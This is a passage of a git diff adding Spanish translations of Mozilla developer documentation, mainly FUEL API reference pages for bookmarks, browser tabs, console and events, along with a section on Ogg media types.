+<h3 id="Contenedores_Ogg">Contenedores Ogg</h3>
+<p>Gecko también admite contenedores Ogg, que pueden contener audio y/o video. Gecko admite el códec Vorbis para audio Ogg y los códecs Theora y <a class=" external" href="http://wiki.xiph.org/OggYUV" title="http://wiki.xiph.org/OggYUV">OggYUV</a> para video.</p>
+<p>Puedes saber más acerca de la creación de medios Ogg si lees el <a class="external" href="http://en.flossmanuals.net/TheoraCookbook" title="http://en.flossmanuals.net/TheoraCookbook">Theora Cookbook</a>.</p>
+<h4 id="Tipos_MIME_reconocidos_para_medios_Ogg">Tipos MIME reconocidos para medios Ogg</h4>
+<p>Gecko reconoce que los siguientes tipos MIME son archivos Ogg.</p>
+<dl> <dt><code>audio/ogg</code></dt> <dd>Un archivo Ogg que contiene sólo audio.</dd> <dt><code>video/ogg</code></dt> <dd>Un archivo Ogg que contiene video (y posiblemente audio también).</dd> <dt><code>application/ogg</code></dt> <dd>Un archivo Ogg con contenido sin especificar. Es preferible usar uno de los otros dos tipo MIME pero puedes usarlo si no sabes cuáles son los contenidos del archivo.</dd>
+</dl>
+<h2 id="Consulta_también">Consulta también</h2>
+<ul> <li><a class="internal" href="/es/Usando_audio_y_video_en_Firefox" title="Es/Usando audio y video en Firefox">Usar audio y video en Firefox</a></li> <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#media-elements" title="http://www.whatwg.org/specs/web-apps/current-work/#media-elements">Elementos multimedia</a> (especificación HTML 5)</li> <li><code><a class="internal" href="/En/HTML/Element/Video" title="En/HTML/Element/Video">video</a></code></li> <li><a class="internal" href="/En/HTML/Element/Audio" title="En/HTML/Element/Audio"><code>audio</code></a></li>
+</ul>
+<p>{{ languages( { "en": "en/Media_formats_supported_by_the_audio_and_video_elements" } ) }}</p>
diff --git a/files/es/fragmentos_de_código/index.html b/files/es/fragmentos_de_código/index.html
new file mode 100644
index 0000000000..89f586d8f3
--- /dev/null
+++ b/files/es/fragmentos_de_código/index.html
@@ -0,0 +1,13 @@
+---
+title: Fragmentos de código
+slug: Fragmentos_de_código
+tags:
+  - Add-ons
+  - extensiones
+  - fragmentos de código
+---
+<p>Esta es una lista rápida de fragmentos de código útiles (pequeñas muestras de código) disponible para los desarrolladores de extensiones para las diversas aplicaciones de Mozilla. Muchas de estas muestras también pueden ser usados en aplicaciones XULRunner, así como en el propio código de Mozilla.</p>
+<p>Estos ejemplos demuestran cómo lograr tareas básicas que podrían no ser evidentes a simple vista.</p>
+<h2 id="Browser-oriented_code">Código orientado al Navegador</h2>
+<dl> <dt><a href="/es/Code_snippets/Tabbed_browser" title="es/Code_snippets/Tabbed_browser">Código del navegador con pestañas</a> (Firefox/SeaMonkey)</dt> <dd>Operaciones básicas, tales como la carga de la página en el navegador con pestañas, que es el corazón de las aplicaciones del navegador Mozilla.</dd> <dt>
+</dt></dl>
diff --git a/files/es/fuel/annotations/index.html b/files/es/fuel/annotations/index.html
new file mode 100644
index 0000000000..ce27c39271
--- /dev/null
+++ b/files/es/fuel/annotations/index.html
@@ -0,0 +1,121 @@
+---
+title: Annotations
+slug: FUEL/Annotations
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/FUEL/fuelIAnnotations
+---
+<h2 id="Resumen_de_m.C3.A9todos" name="Resumen_de_m.C3.A9todos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>boolean <a href="#has.28.29">has</a>(en AString aName)</code></td>
+  </tr>
+  <tr>
+   <td><code>nsIVariant <a href="#get.28.29">get</a>(en AString aName)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#set.28.29">set</a>(en AString aName, en nsIVariant aValue, en PRInt32 aExpiration)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#remove.28.29">remove</a>(en AString aName)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Attributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>nombres</code></td>
+   <td><code>atributo de solo-lectura nsIVariant</code></td>
+   <td>Array de nombre de anotación con el sujeto propietario</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="has.28.29" name="has.28.29">has()</h3>
+
+<p>Determina si una anotación con un nombre determinado existe.</p>
+
+<pre class="eval">boolean has(en AString aName)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la Anotación</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p>"true" si existe la Anotación con el nombre especificado, o "false" en caso contrario.</p>
+
+<h3 id="get.28.29" name="get.28.29">get()</h3>
+
+<p>Recoge el valor de una Anotación con el nombre especificado.</p>
+
+<pre class="eval">nsIVariant get(en AString aName)
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la Anotación.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p>Una variable que contiene el valor de la Anotación. Puede ser boleano, una cadena o un número.</p>
+
+<h3 id="set.28.29" name="set.28.29">set()</h3>
+
+<p>Da valor a la Anotación con el nombre especificado.</p>
+
+<pre class="eval">void set(in AString aName, in nsIVariant aValue, in PRInt32 aExpiration)
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la anotación</dd>
+ <dt>aValue</dt>
+ <dd>El nuevo valor de la anotación. Puede ser boleano, una cadena o un número.</dd>
+ <dt>aExpiration</dt>
+ <dd>La política de caducidad de la anotación. Véase nsIAnnotationService.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_3" name="Valor_devuelto_3">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="remove.28.29" name="remove.28.29">remove()</h3>
+
+<p>Borra la anotación especificada de su elemento propietario.</p>
+
+<pre class="eval">void remove(in AString aName)
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<dl>
+ <dt>aName</dt>
+ <dd>El nombre de la anotación</dd>
+</dl>
+
+<h6 id="Valor_devuelto_4" name="Valor_devuelto_4">Valor devuelto</h6>
diff --git a/files/es/fuel/application/index.html b/files/es/fuel/application/index.html
new file mode 100644
index 0000000000..1e6ef7b05f
--- /dev/null
+++ b/files/es/fuel/application/index.html
@@ -0,0 +1,81 @@
+---
+title: Application
+slug: FUEL/Application
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extIApplication
+---
+<h2 id="Resumen_del_m.C3.A9todo" name="Resumen_del_m.C3.A9todo">Resumen del método</h2>
+
+<table class="standard-table">
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><code>atributo de cadena de solo-lectura</code></td>
+   <td>La identificación de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El nombre de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>version</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>La versión de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>console</code></td>
+   <td><code>atributo de solo-lectura fuelIConsole</code></td>
+   <td>El objeto consola de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>extensions</code></td>
+   <td><code>atributo de solo-lectura fuelIExtensions</code></td>
+   <td>El objeto extensiones para la aplicación. Contiene una lista de todas las aplicaciones instaladas.</td>
+  </tr>
+  <tr>
+   <td><code>prefs</code></td>
+   <td><code>atributo de solo-lectura fuelIPreferenceBranch</code></td>
+   <td>El objeto preferencias de la aplicación.Por defecto es un árbol vacío.</td>
+  </tr>
+  <tr>
+   <td><code>storage</code></td>
+   <td><code>atributo de solo-lectura fuelISessionStorage</code></td>
+   <td>El objeto storage de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto eventos de la aplicación. Los eventos válidos son: "load", "ready", "quit", "unload"</td>
+  </tr>
+  <tr>
+   <td><code>bookmarks</code></td>
+   <td><code>atributo de solo-lectura fuelIBookmarkFolder</code></td>
+   <td>El elemento raíz de los marcadores de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>windows</code></td>
+   <td><code>atributo de solo-lectura nsIVariant</code></td>
+   <td>Un array con las ventanas del navegador dentro de la aplicación.</td>
+  </tr>
+  <tr>
+   <td><code>activeWindow</code></td>
+   <td><code>atributo de solo-lectura fuelIWindow</code></td>
+   <td>La ventana activa del navegador.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/fuel/bookmark/index.html b/files/es/fuel/bookmark/index.html
new file mode 100644
index 0000000000..5265d92ce2
--- /dev/null
+++ b/files/es/fuel/bookmark/index.html
@@ -0,0 +1,89 @@
+---
+title: Bookmark
+slug: FUEL/Bookmark
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/FUEL/fuelIBookmark
+---
+<h2 id="Resumen_del_m.C3.A9todo" name="Resumen_del_m.C3.A9todo">Resumen del método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#remove.28.29">remove</a>()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><code>atributo de solo-lectura long long</code></td>
+   <td>EL id del marcador.</td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El título del marcador.</td>
+  </tr>
+  <tr>
+   <td><code>uri</code></td>
+   <td><code>atributo nsIURI</code></td>
+   <td>La URI del marcador.</td>
+  </tr>
+  <tr>
+   <td><code>description</code></td>
+   <td><code>atributo AString</code></td>
+   <td>La descripción del marcador.</td>
+  </tr>
+  <tr>
+   <td><code>keyword</code></td>
+   <td><code>atributo AString</code></td>
+   <td>La palabra clave asociada al marcador.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El tipo de marcador. Los valores posibles son: "bookmark", "separator"</td>
+  </tr>
+  <tr>
+   <td><code>parent</code></td>
+   <td><code>atributo fuelIBookmarkFolder</code></td>
+   <td>La carpeta padre del marcador.</td>
+  </tr>
+  <tr>
+   <td><code>annotations</code></td>
+   <td><code>atributo de solo-lectura fuelIAnnotations</code></td>
+   <td>El objeto Anotaciones del marcador.</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto eventos del marcador. Los valores posibles son: "remove", "change", "visit", "move"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="remove.28.29" name="remove.28.29">remove()</h3>
+
+<p>Borra el objeto de la carpeta padre. Se usa para quitar tanto un marcador como un separador.</p>
+
+<pre class="eval">void remove()
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
diff --git a/files/es/fuel/bookmarkfolder/index.html b/files/es/fuel/bookmarkfolder/index.html
new file mode 100644
index 0000000000..08535501a9
--- /dev/null
+++ b/files/es/fuel/bookmarkfolder/index.html
@@ -0,0 +1,144 @@
+---
+title: BookmarkFolder
+slug: FUEL/BookmarkFolder
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/FUEL/fuelIBookmarkFolder
+---
+<h2 id="Resument_de_métodos">Resument de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>fuelIBookmark <a href="#addBookmark.28.29">addBookmark</a>(en AString aTitle, en nsIURI aURI)</code></td>
+  </tr>
+  <tr>
+   <td><code>fuelIBookmark <a href="#addSeparator.28.29">addSeparator</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code>fuelIBookmarkFolder <a href="#addFolder.28.29">addFolder</a>(en AString aTitle)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#remove.28.29">remove</a>()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><code>atributo de solo-lectura long long</code></td>
+   <td>El id de la carpeta.</td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td><code>atributo AString</code></td>
+   <td>El título de la carpeta.</td>
+  </tr>
+  <tr>
+   <td><code>description</code></td>
+   <td><code>atributo AString</code></td>
+   <td>La descripción de la carpeta.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El tipo de carpeta. Los valores posibles son: "folder"</td>
+  </tr>
+  <tr>
+   <td><code>parent</code></td>
+   <td><code>atributo fuelIBookmarkFolder</code></td>
+   <td>La carpeta padre de la carpeta.</td>
+  </tr>
+  <tr>
+   <td><code>annotations</code></td>
+   <td><code>atributo de solo-lectura fuelIAnnotations</code></td>
+   <td>El objeto Anotaciones de la carpeta.</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto eventos de la carpeta. Los valores posibles son: "add", "addchild", "remove", "removechild", "change", "move"</td>
+  </tr>
+  <tr>
+   <td><code>children</code></td>
+   <td><code>atributo de solo-lectura nsIVariant</code></td>
+   <td>Array conteniendo todos los marcadores, separadores y carpetas que contiene esta carpeta.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="addBookmark.28.29" name="addBookmark.28.29">addBookmark()</h3>
+
+<p>Añade un nuevo marcador hijo a esta carpeta.</p>
+
+<pre class="eval">fuelIBookmark addBookmark(en AString aTitle, en nsIURI aURI)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aTitle</dt>
+ <dd>El título del marcador.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="addSeparator.28.29" name="addSeparator.28.29">addSeparator()</h3>
+
+<p>Añade un nuevo separador hijo a esta carpeta.</p>
+
+<pre class="eval">fuelIBookmark addSeparator()
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="addFolder.28.29" name="addFolder.28.29">addFolder()</h3>
+
+<p>Añade una nueva carpeta hijo a esta carpeta.</p>
+
+<pre class="eval">fuelIBookmarkFolder addFolder(in AString aTitle)
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt>aTitle</dt>
+ <dd>El título de la carpeta.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_3" name="Valor_devuelto_3">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="remove.28.29" name="remove.28.29">remove()</h3>
+
+<p>Borra la carpeta de la carpeta padre.</p>
+
+<pre class="eval">void remove()
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<h6 id="Valor_devuelto_4" name="Valor_devuelto_4">Valor devuelto</h6>
+
+<p> </p>
diff --git a/files/es/fuel/browsertab/index.html b/files/es/fuel/browsertab/index.html
new file mode 100644
index 0000000000..d8f22da029
--- /dev/null
+++ b/files/es/fuel/browsertab/index.html
@@ -0,0 +1,158 @@
+---
+title: BrowserTab
+slug: FUEL/BrowserTab
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/FUEL/fuelIBrowserTab
+---
+<p> </p>
+
+<h2 id="Resumen_de_m.C3.A9todos" name="Resumen_de_m.C3.A9todos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#load.28.29">load</a>(in nsIURI aURI)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#focus.28.29">focus</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#close.28.29">close</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#moveBefore.28.29">moveBefore</a>(in fuelIBrowserTab aBefore)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#moveToEnd.28.29">moveToEnd</a>()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>uri</code></td>
+   <td><code>atributo de solo-lectura nsIURI</code></td>
+   <td>La URI de la pestaña actual.</td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td><code>atributo de solo-lectura RInt32</code></td>
+   <td>El número de índice de la pestaña en la ventana del navegador.</td>
+  </tr>
+  <tr>
+   <td><code>window</code></td>
+   <td><code>atributo de solo-lectura fuelIWindow</code></td>
+   <td>La ventana del navegador en que se encuentra la pestaña.</td>
+  </tr>
+  <tr>
+   <td><code>document</code></td>
+   <td><code>atributo de solo-lectura nsIDOMHTMLDocument</code></td>
+   <td>TEl documento que contiene la pestaña.</td>
+  </tr>
+  <tr>
+   <td><code>events</code></td>
+   <td><code>atributo de solo-lectura fuelIEvents</code></td>
+   <td>El objeto eventos de la pestaña. Valor posible: "load"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="load.28.29" name="load.28.29">load()</h3>
+
+<p>Carga una nueva URI en la pestaña del navegador.</p>
+
+<pre class="eval">void load(in nsIURI aURI)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aURI</dt>
+ <dd>La URI a cargar en la pestaña.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="focus.28.29" name="focus.28.29">focus()</h3>
+
+<p>Pone el foco en esa pestaña del navegador y la trae a primer plano.</p>
+
+<pre class="eval">void focus()
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="close.28.29" name="close.28.29">close()</h3>
+
+<p>Cierra la pestaña. Es posible realmente no la cierre, ya que un script puede evitar esta operación.</p>
+
+<pre class="eval">void close()
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<h6 id="Valor_devuelto_3" name="Valor_devuelto_3">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="moveBefore.28.29" name="moveBefore.28.29">moveBefore()</h3>
+
+<p>Cambia la posición de la pestaña en la ventana del navegador, hasta ponerla antes que otra pestaña.</p>
+
+<pre class="eval">void moveBefore(in fuelIBrowserTab aBefore)
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<dl>
+ <dt>aBefore</dt>
+ <dd>La pestaña antes de la cual la situaremos.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_4" name="Valor_devuelto_4">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="moveToEnd.28.29" name="moveToEnd.28.29">moveToEnd()</h3>
+
+<p>Mueve esta pestaña, a la última posición en la ventana.</p>
+
+<pre class="eval">void moveToEnd()
+</pre>
+
+<h6 id="Par.C3.A1metros_5" name="Par.C3.A1metros_5">Parámetros</h6>
+
+<h6 id="Valor_devuelto_5" name="Valor_devuelto_5">Valor devuelto</h6>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<pre>var activeWin = Application.activeWindow;
+
+// buscamos en cada pestaña abierta en  la ventana del navegador
+activeWin.tabs.forEach( function(tab) {
+  alert(tab.uri.spec);
+});
+
+// accedemos al contenido del documento de la pestaña activa
+alert(activeWin.activeTab.document.body.innerHTML);
+</pre>
diff --git a/files/es/fuel/console/index.html b/files/es/fuel/console/index.html
new file mode 100644
index 0000000000..730d16b759
--- /dev/null
+++ b/files/es/fuel/console/index.html
@@ -0,0 +1,65 @@
+---
+title: Console
+slug: FUEL/Console
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extIConsole
+---
+<h2 id="Resumen_de_métodos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#log.28.29">log</a>(in AString aMsg)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#open.28.29">open</a>()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="log.28.29" name="log.28.29">log()</h3>
+
+<p>Envía ena cadena determinada a la consola.</p>
+
+<pre class="eval">void log(in AString aMsg)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aMsg</dt>
+ <dd>El texto a enviar a la consola.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="open.28.29" name="open.28.29">open()</h3>
+
+<p>Abre la ventana de la consola de errores. Se pone el foco en la ventana de la consola si ya está abierta:</p>
+
+<pre class="eval">void open()
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
diff --git a/files/es/fuel/eventitem/index.html b/files/es/fuel/eventitem/index.html
new file mode 100644
index 0000000000..f740ef7af2
--- /dev/null
+++ b/files/es/fuel/eventitem/index.html
@@ -0,0 +1,56 @@
+---
+title: EventItem
+slug: FUEL/EventItem
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extIEventItem
+---
+<p> </p>
+
+<h2 id="Resumen_de_m.C3.A9todos" name="Resumen_de_m.C3.A9todos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#preventDefault.28.29">preventDefault</a>()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>El nombre del evento</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td><code>atributo de solo-lectura AString</code></td>
+   <td>Puede contener detalles adicionales y datos asociados con el evento. Es opcional y específico del evento. Si el evento no usa detalles adicionales, este valor es nulo.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="preventDefault.28.29" name="preventDefault.28.29">preventDefault()</h3>
+
+<p>Cancela el evento si éste es cancelable.</p>
+
+<pre class="eval">void preventDefault()
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
diff --git a/files/es/fuel/eventlistener/index.html b/files/es/fuel/eventlistener/index.html
new file mode 100644
index 0000000000..58c61c8fc8
--- /dev/null
+++ b/files/es/fuel/eventlistener/index.html
@@ -0,0 +1,49 @@
+---
+title: EventListener
+slug: FUEL/EventListener
+tags:
+  - FUEL
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/Toolkit_API/extIEventListener
+---
+<h2 id="Resumen_de_método">Resumen de método</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#handleEvent.28.29">handleEvent</a>(in fuelIEventItem aEvent)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="handleEvent.28.29" name="handleEvent.28.29">handleEvent()</h3>
+
+<p>Este método se llama cuando ocurre un evento del tipo por el que se ha registrado <code>fuelIEventListener</code>.</p>
+
+<pre class="eval">void handleEvent(in fuelIEventItem aEvent)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aEvent</dt>
+ <dd>El (evento) fuelIEventItem asociado con el evento.</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
diff --git a/files/es/fuel/events/index.html b/files/es/fuel/events/index.html
new file mode 100644
index 0000000000..8470203fb7
--- /dev/null
+++ b/files/es/fuel/events/index.html
@@ -0,0 +1,72 @@
+---
+title: Events
+slug: FUEL/Events
+tags:
+  - Evento
+  - Todas_las_Categorías
+translation_of: Mozilla/Tech/Toolkit_API/extIEvents
+---
+<h2 id="Resumen_de_m.C3.A9todos" name="Resumen_de_m.C3.A9todos">Resumen de métodos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#addListener.28.29">addListener</a>(in AString aEvent, in fuelIEventListener aListener)</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeListener.28.29">removeListener</a>(in AString aEvent, in fuelIEventListener aListener)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos" name="Atributos">Atributos</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="addListener.28.29" name="addListener.28.29">addListener()</h3>
+
+<p>Añade un evento a la lista. Si se añaden múltiples escuchas (event listener) idénticas en el mismo evento, con los mismos parámetros y con el mismo objetivo, la copia será descartada, por lo que no causarán que se llame a la escucha 2 veces y no será necesario borrar las adicionales.</p>
+
+<pre class="eval">void addListener(in AString aEvent, in extIEventListener aListener)
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>aEvent</dt>
+ <dd>El nombre del evento</dd>
+ <dt>aListener</dt>
+ <dd>La escucha que queremos añadir al evento</dd>
+</dl>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p> </p>
+
+<h3 id="removeListener.28.29" name="removeListener.28.29">removeListener()</h3>
+
+<p>Quita una escucha de la lista. Si pasamos un argumento que no corresponde a ningún evento registrado, el efecto es nulo.</p>
+
+<pre class="eval">void removeListener(in AString aEvent, in extIEventListener aListener)
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt>aEvent</dt>
+ <dd>El nombre del evento</dd>
+ <dt>aListener</dt>
+ <dd>La escucha del evento que queremos quitar</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
diff --git a/files/es/fuel/extension/index.html b/files/es/fuel/extension/index.html
new file mode 100644
index 0000000000..9ffb8ff096
--- /dev/null
+++ b/files/es/fuel/extension/index.html
@@ -0,0 +1,61 @@
+---
+title: Extension
